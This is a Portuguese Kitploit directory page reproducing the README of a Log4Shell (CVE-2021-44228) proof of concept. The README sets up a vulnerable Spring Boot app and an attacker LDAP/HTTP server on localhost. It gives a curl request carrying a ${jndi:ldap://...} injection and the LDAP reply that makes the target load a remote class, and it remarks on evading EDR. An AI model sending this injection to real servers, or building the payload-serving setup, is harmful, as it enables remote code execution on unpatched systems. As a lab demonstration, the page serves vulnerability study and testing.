Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 prova de conceito | Kitploit
Ferramentas/GitHubGitHub/spasam/log4j2-exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 prova de conceito

Ver Repositório
210há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Log4Shell CVE-2021-44228 prova de conceito

Requisitos

  • Java (JDK/JRE) 8 ou versão posterior
  • curl

exploitable

Aplicativo Spring Boot simples que serve uma página de login com usuário e senha. Ele registra o nome do usuário quando enviado via POST para /. Não é necessário que o aplicativo registre qualquer entrada fornecida pelo usuário. Habilitar o log de acesso que usa uma versão vulnerável do log4j2 é suficiente.

Como executar:

cd exploitable
../mvnw -q spring-boot:run

Por padrão, ele escuta na porta 8080. Se você acessar http://localhost:8080/ no navegador, verá algo como:

Em pom.xml, você notará a propriedade JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

Isso não é necessário em versões mais antigas do JDK. O padrão foi alterado para false em: JDK 11.0.1, 8u191, 7u201 e 6u211. Mesmo sem essa propriedade, o aplicativo está vulnerável a solicitações LDAP iniciais que podem exfiltrar dados confidenciais.

hacker

Aplicativo hacker que serve a dois propósitos:

  • Inicia um servidor HTTP na porta 9090 para servir payloads vulneráveis
  • Inicia um servidor LDAP em memória na porta 1389

Como executar:

cd hacker
../mvnw -q spring-boot:run

Em pom.xml, você pode alterar o payload padrão enviado aos aplicativos exploráveis:

--class=SayHello é o padrão, o que significa que ele envia SayHello.class como payload.

Como explorar

Envie uma solicitação curl ao aplicativo explorável referenciando o servidor LDAP do hacker em um dos campos fornecidos pelo usuário (nome de usuário):

curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

No console do aplicativo explorável, você deve ver algo como:

Nos bastidores

  • O atacante enviou um dos campos de entrada do usuário como ${jndi:ldap://127.0.0.1:1389}
  • O log4j2 vulnerável incorporado ao aplicativo explorável realiza uma solicitação LDAP para 127.0.0.1:1389
  • Ele recebe o seguinte como resposta:
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • O aplicativo tenta recuperar a classe do payload de exploração de http://127.0.0.1:9090/SayHello.class
  • O servidor do hacker retorna os bytes binários de SayHello.class
  • O aplicativo executa o método getObjectInstance na classe de exploração

Nota

Após a solicitação LDAP inicial e, potencialmente, o download da classe Java de exploração, não é necessário que o exploit faça fork de um processo ou estabeleça qualquer conexão adicional com a Internet. Normalmente, esses tipos de exploits podem ser facilmente detectados por produtos EDR etc. Suspeito que novos payloads de exploração serão implementados nativamente em Java para evitar a detecção.

Baixar ferramenta